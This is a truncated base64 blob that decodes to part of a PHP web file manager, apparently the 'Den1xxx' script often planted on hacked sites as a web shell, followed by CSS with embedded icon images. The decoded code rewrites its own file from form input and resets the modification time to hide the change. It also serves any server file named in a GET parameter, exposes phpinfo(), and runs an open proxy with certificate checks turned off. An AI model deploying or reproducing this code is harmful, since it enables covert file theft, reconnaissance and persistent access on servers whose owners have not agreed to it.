GZpbGVtdGltZSk7DQoJCX0NCgl9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyd0cGxfZWRpdGVkJ10pKSB7IA0KCQkkbG5nX3RwbCA9ICRfUE9TVFsndHBsX2VkaXRlZCddOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSkpIHsNCgkJCSRmbV9waHAgPSBqc29uX2VuY29kZShhcnJheV9jb21iaW5lKCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSwkX1BPU1RbJGxuZ190cGwuJ192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTsNCgkJfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddKSkgew0KCQkJJGZtX3BocCA9IGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKSthcnJheSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddPT4kX1BPU1RbJGxuZ190cGwuJ19uZXdfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7DQoJCX0NCgkJaWYgKCFlbXB0eSgkZm1fcGhwKSkgew0KCQkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsNCgkJCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcc10bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7DQoJCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KCQkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOw0KCQkJCSRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9waHAsJGZnYyk7DQoJCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsNCgkJCQkJJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9ID0gJGZtX3BocDsNCgkJCQkJJG1zZ19udGltZXMgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCQkJCX0gZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7DQoJCQl9CQ0KCQl9IGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQoJfQ0KfQ0KDQovLyBKdXN0IHNob3cgaW1hZ2UNCmlmIChpc3NldCgkX0dFVFsnaW1nJ10pKSB7DQoJJGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnaW1nJ10pOw0KCWlmICgkaW5mbz1nZXRpbWFnZXNpemUoJGZpbGUpKXsNCgkJc3dpdGNoICAoJGluZm9bMl0pewkvLzE9R0lGLCAyPUpQRywgMz1QTkcsIDQ9U1dGLCA1PVBTRCwgNj1CTVANCgkJCWNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7DQoJCQljYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhazsNCgkJCWNhc2UgMzogJGV4dD0ncG5nJzsgYnJlYWs7DQoJCQljYXNlIDY6ICRleHQ9J2JtcCc7IGJyZWFrOw0KCQkJZGVmYXVsdDogZGllKCk7DQoJCX0NCgkJaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlLyRleHQiKTsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQoJCWRpZSgpOw0KCX0NCn0NCg0KLy8gSnVzdCBkb3dubG9hZCBmaWxlDQppZiAoaXNzZXQoJF9HRVRbJ2Rvd25sb2FkJ10pKSB7DQoJJGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnZG93bmxvYWQnXSk7DQoJZm1fZG93bmxvYWQoJGZpbGUpOwkNCn0NCg0KLy8gSnVzdCBzaG93IGluZm8NCmlmIChpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgew0KCXBocGluZm8oKTsgDQoJZGllKCk7DQp9DQoNCi8vIE1pbmkgcHJveHksIG1hbnkgYnVncyENCmlmIChpc3NldCgkX0dFVFsncHJveHknXSkgJiYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpKSB7DQoJJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/dXJsZGVjb2RlKCRfR0VUWyd1cmwnXSk6Jyc7DQoJJHByb3h5X2Zvcm0gPSAnDQo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjEwMDUwMDtiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZTRmNWZjIDAlLCNiZmU4ZjkgNTAlLCM5ZmQ4ZWYgNTElLCMyYWIwZWQgMTAwJSk7Ij4NCgk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InByb3h5IiB2YWx1ZT0idHJ1ZSI+DQoJJy5mbV9ob21lKCkuJyA8YSBocmVmPSInLiR1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPlVybDwvYT46IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmwiIHZhbHVlPSInLiR1cmwuJyIgc2l6ZT0iNTUiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTaG93JykuJyIgY2xhc3M9ImZtX2lucHV0Ij4NCgk8L2Zvcm0+DQo8L2Rpdj4NCic7DQoJaWYgKCR1cmwpIHsNCgkJJGNoID0gY3VybF9pbml0KCR1cmwpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnRGVuMXh4eCB0ZXN0IHByb3h5Jyk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQoJCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJY3VybF9jbG9zZSgkY2gpOw0KCQkvLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnXFwxPSInLiR1cmwuJy9cXDIiJywgJHJlc3VsdCk7DQoJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJyMoaHJlZnxzcmMpPVsiXCddW2h0dHA6Ly9dPyhbXjpdKilbIlwnXSNVaScsICdmbV91cmxfcHJveHknLCAkcmVzdWx0KTsNCgkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnJSg8Ym9keS4qPz4pJWknLCAnJDEnLic8c3R5bGU+Jy5mbV9ob21lX3N0eWxlKCkuJzwvc3R5bGU+Jy4kcHJveHlfZm9ybSwgJHJlc3VsdCk7DQoJCWVjaG8gJHJlc3VsdDsNCgkJZGllKCk7DQoJfSANCn0NCj8+DQo8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+ICAgICANCgk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+DQogICAgPHRpdGxlPi0oInBuZyIpLTwvdGl0bGU+DQo8c3R5bGU+DQpib2R5IHsNCgliYWNrZ3JvdW5kLWNvbG9yOgl3aGl0ZTsNCglmb250LWZhbWlseToJCVZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOgkJCThwdDsNCgltYXJnaW46CQkJCTBweDsNCn0NCg0KYTpsaW5rLCBhOmFjdGl2ZSwgYTp2aXNpdGVkIHsgY29sb3I6ICMwMDY2OTk7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KYS50aDpsaW5rIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KYS50aDphY3RpdmUgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOmhvdmVyIHsgIGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KDQp0YWJsZS5iZyB7DQoJYmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNg0KfQ0KDQp0aCwgdGQgeyANCglmb250Oglub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJcGFkZGluZzogM3B4Ow0KfQ0KDQp0aAl7DQoJaGVpZ2h0OgkJCQkyNXB4Ow0KCWJhY2tncm91bmQtY29sb3I6CSMwMDY2OTk7DQoJY29sb3I6CQkJCSNGRkEzNEY7DQoJZm9udC13ZWlnaHQ6CQlib2xkOw0KCWZvbnQtc2l6ZToJCQkxMXB4Ow0KfQ0KDQoucm93MSB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0VGRUZFRjsNCn0NCg0KLnJvdzIgew0KCWJhY2tncm91bmQtY29sb3I6CSNERUUzRTc7DQp9DQoNCi5yb3czIHsNCgliYWNrZ3JvdW5kLWNvbG9yOgkjRDFEN0RDOw0KCXBhZGRpbmc6IDVweDsNCn0NCg0KdHIucm93MTpob3ZlciB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0YzRkNGQzsNCn0NCg0KdHIucm93Mjpob3ZlciB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0YwRjZGNjsNCn0NCg0KLndob2xlIHsNCgl3aWR0aDogMTAwJTsNCn0NCg0KLmFsbCB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO30NCg0KdGV4dGFyZWEgew0KCWZvbnQ6IDlwdCAnQ291cmllciBOZXcnLCBjb3VyaWVyOw0KCWxpbmUtaGVpZ2h0OiAxMjUlOw0KCXBhZGRpbmc6IDVweDsNCn0NCg0KLnRleHRhcmVhX2lucHV0IHsNCgloZWlnaHQ6IDFlbTsNCn0NCg0KLnRleHRhcmVhX2lucHV0OmZvY3VzIHsNCgloZWlnaHQ6IGF1dG87DQp9DQoNCmlucHV0W3R5cGU9c3VibWl0XXsNCgliYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsNCgljdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5mb2xkZXIgew0KICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk4vclhYUHVlczg1Mnp6d2ZBQ0F5V1NETlJOWUFNcVVJZUVlQ0R4OFRHNGVRdVFJRUtKSEFBRUFpelpDRnovU01CQVBoK1BEd3JJc0FIdmdBQmVOTUxDQURBVFp2QU1CeUgvdy9xUXBsY0FZQ0VBY0Iwa1RoTENJQVVBRUI2amtLbUFFQkdBWUNkbUNaVEFLQUVBR0RMWTJMakFGQXRBR0FuZitiVEFJQ2QrSmw3QVFCYmxDRVZBYUNSQUNBVFpZaEVBR2c3QUt6UFZvcEZBRmd3QUJSbVM4UTVBTmd0QURCSlYyWklBTEMzQU1ET0VBdXlBQWdNQURCUmlJVXBBQVI3QUdESUl5TjRBSVNaQUJSRzhsYzg4U3V1RU9jcUFBQjRtYkk4dVNRNVJZRmJDQzF4QjFkWExoNG96a2tYS3hRMllRSmhta0F1d25tWkdUS0JOQS9nODh3QUFLQ1JGUkhnZy9QOWVNNE9yczdPTm82MkRsOHQ2cjhHL3lKaVl1UCs1YytyY0VBQUFPRjBmdEgrTEMrekdvQTdCb0J0L3FJbDdnUm9YZ3VnZGZlTFpySVBRTFVBb09uYVYvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsL0FWLzFzK1g0OC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUgvTGNMLy93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTMvKzgvL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3ovSENBQUFSS0NCS3JCQkcvVEJHQ3pBQmh6QkJkekJDL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RC9waENKN0JLTHlCQ1FSQnlBZ1RZU0hhaUFGaWlsZ2pqZ2dYbVlYNEljRklCQktMSkNESmlCUlJJa3VSTlVneFVvcFVJRlZJSGZJOWNnSTVoMXhHdXBFN3lBQXlndnlHdkVjeGxJR3lVVDNVRExWRHVhZzNHb1JHb2d2UVpIUXhtbzhXb0p2UWNyUWFQWXcyb2VmUXEyZ1AybzgrUThjd3dPZ1lCelBFYkRBdXhzTkNzVGdzQ1pOank3RWlyQXlyeGhxd1Zxd0R1NG4xWTgreGR3UVNnVVhBQ1RZRWQwSWdZUjVCU0ZoTVdFN1lTS2dnSENRMEVkb0pOd2tEaEZIQ0p5S1RxRXUwSnJvUitjUVlZakl4aDFoSUxDUFdFbzhUTHhCN2lFUEVOeVFTaVVNeUo3bVFBa214cEZUU0V0SkcwbTVTSStrc3FaczBTQm9qazhuYVpHdXlCem1VTENBcnlJWGtuZVRENURQa0crUWg4bHNLbldKQWNhVDRVK0lvVXNwcVNobmxFT1UwNVFabG1ESkJWYU9hVXQyb29WUVJOWTlhUXEyaHRsS3ZVWWVvRXpSMW1qbk5neFpKUzZXdG9wWFRHbWdYYVBkcHIraDB1aEhkbFI1T2w5Qlgwc3ZwUitpWDZBUDBkd3dOaGhXRHg0aG5LQm1iR0FjWVp4bDNHSytZVEtZWjA0c1p4MVF3TnpIcm1PZVpENWx2VlZncXRpcDhGWkhLQ3BWS2xTYVZHeW92VkttcXBxcmVxZ3RWODFYTFZJK3BYbE45cmtaVk0xUGpxUW5VbHF0VnFwMVE2MU1iVTJlcE82aUhxbWVvYjFRL3BINVovWWtHV2NOTXcwOURwRkdnc1YvanZNWWdDMk1aczNnc0lXc05xNFoxZ1RYRUpySE4yWHgyS3J1WS9SMjdpejJxcWFFNVF6TktNMWV6VXZPVVpqOEg0NWh4K0p4MFRnbm5LS2VYODM2SzNoVHZLZUlwRzZZMFRMa3haVnhycXBhWGxsaXJTS3RScTBmcnZUYXU3YWVkcHIxRnUxbjdnUTVCeDBvblhDZEhaNC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TC8xVS9XMzZwL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk4vVDBIRFlmWkRxc2RXaDErYzdSeUZEcFdPdDZhenB6dVAzM0Y5SmJwTDJkWXp4RFAyRFBqdGhQTEtjUnBuVk9iMDBkbkYyZTVjNFB6aUl1SlM0TExMcGMrTHBzYnh0M0l2ZVJLZFBWeFhlRjYwdldkbTdPYnd1Mm8yNi91TnU1cDdvZmNuOHcwbnltZVdUTnowTVBJUStCUjVkRS9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVi9NTjhDM3lMZkxUOE52bmwrRjMwTi9JLzlrLzNyLzBRQ25nQ1VCWndPSmdVR0JXd0w3K0hwOEliK09QenJiWmZheTJlMUJqS0M1UVJWQmo0S3RndVhCclNGb3lPeVFyU0gzNTVqT2tjNXBEb1ZRZnVqVzBBZGg1bUdMdzM0TUo0V0hoVmVHUDQ1d2lGZ2EwVEdYTlhmUjNFTnozMFQ2UkpaRTNwdG5NVTg1cnkxS05TbytxaTVxUE5vM3VqUzZQOFl1WmxuTTFWaWRXRWxzU3h3NUxpcXVObTVzdnQvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpL1JOdEdJMkVOY0toNU84a2dxVFhxUzdKRzhOWGtreFRPbExPVzVoQ2Vwa0x4TURVemRtenFlRnBwMklHMHlQVHE5TVlPU2taQnhRcW9oVFpPMlorcG41bVoyeTZ4bGhiTCt4VzZMdHk4ZWxRZkphN09RckFWWkxRcTJRcWJvVkZvbzF5b0hzbWRsVjJhL3pZbktPWmFybml2TjdjeXp5dHVRTjV6dm4vL3RFc0lTNFpLMnBZWkxWeTBkV09hOXJHbzVzanh4ZWRzSzR4VUZLNFpXQnF3OHVJcTJLbTNWVDZ2dFY1ZXVmcjBtZWsxcmdWN0J5b0xCdFFGcjZ3dFZDdVdGZmV2YzErMWRUMWd2V2QrMVlmcUduUnMrRlltS3JoVGJGNWNWZjlnbzNIamxHNGR2eXIrWjNKUzBxYXZFdVdUUFp0Sm02ZWJlTFo1YkRwYXFsK2FYRG00TjJkcTBEZDlXdE8zMTlrWGJMNWZOS051N2c3WkR1YU8vUExpOFphZkp6czA3UDFTa1ZQUlUrbFEyN3RMZHRXSFgrRzdSN2h0N3ZQWTA3TlhiVzd6My9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0EvMEhJdzYyMTduVTFSM1NQVlJTajlZcjYwY094eCsrL3AzdmR5ME5OZzFWalp6RzRpTndSSG5rNmZjSjMvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWC9pK2M3dkR2T1hQSzRkUEt5MitVVFY3aFhtcTg2WDIzcWRPbzgvcFBUVDhlN25MdWFycmxjYTdudWVyMjFlMmIzNlJ1ZU44N2Q5TDE1OFJiLzF0V2VPVDNkdmZONmIvZkY5L1hmRnQxK2NpZjl6c3U3MlhjbjdxMjhUN3hmOUVEdFFkbEQzWWZWUDF2KzNOanYzSDlxd0hlZzg5SGNSL2NHaFlQUC9wSDFqdzlEQlkrWmo4dUdEWWJybmpnK09UbmlQM0w5NmZ5blE4OWt6eWFlRi82aS9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1Ty9iWHlsL2VyQTZ4bXYyOGJDeGg2K3lYZ3pNVjcwVnZ2dHdYZmNkeDN2bzk4UFQrUjhJSDhvLzJqNXNmVlQwS2Y3a3htVGsvOEVBNWp6L0dNekxkc0FBQUFHWWt0SFJBRC9BUDhBLzZDOXA1TUFBQUFKY0VoWmN3QUFDeE1BQUFzVEFRQ2FuQmdBQUFBSGRFbE5SUWZjQ0F3R01obGVHQUtPQUFBQnlFbEVRVlE0eThXVFQyc1VRUkRGZjlYVE0rUEdJQkhkRUVRUjhlQWZnZ2FQSHZUdXlVK2krQTM4QUY0OGVmSmJLQjV6RTBJTUFWY0NpUmhRRThnbW0xMTFzOW1aM1psK0htYXk1cUFZOEdCRGRUV1BlbzlIVlJmODcyTzl4VnYzL0puckN5Z0lVNDA2Sy9xYnJiUDNWeGIvcWpEOCtPU050QytWWDZSaVV5cldwWEpEMmFlbmZ5UjNYczlOM2g1ckZJdzZFQVlReHNBSUtNRngrY2ZTZzBkbUZrK3FKYVF5R3UwdHZ3VDJLd0VaaEFOUVdaR1ZnM0xTODNldXBNMkY1eWlEa0U5d0RQWjc2MnZRZlZVSmhJS1E3VERhVzhUaWFjQ08ybE5uZDZ4amxZdnBtNDlmNUZ1TlorWEJ4cG9uNUJUZldxU3pONEFFTEFGTHErd1NiSUxGZFhnZ3VvaWJVajcrdnUwUktHOWplWUhrNnVJRVhJb3NRWlppTldZdVFTUVFUV0Z1WUVWM2FjWFRmd2R4aXRLclFBd3VtWWlZTzNKekNrVlR5RFd3c2crRFZaUjlZTlRMM25xTkRuSHhOQnEyZjFtYzJJMUFnbkFJUlJmR2JWUU9hbWVueVE3YXk3NHNJM3orRldXSDlhaU9ybENGQk9hcXFMb0l5aWp3K1lXSFc5dStDS2JHc0ljMC9zMlgwYkZwSE1OVUV1S1pWUUMvMngwbU0wMFA4aWRmQUFldHoyRVR3RzVmYTg3UG5vc3VoWUJPeW84Y3R0TUpXKzgzZGx2L3RJbDNGK2I0Q1l5cDJUeHcyVlV3QUFBQUFFbEZUa1N1UW1DQyIpOw0KfQ0KDQouZmlsZSB7DQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5j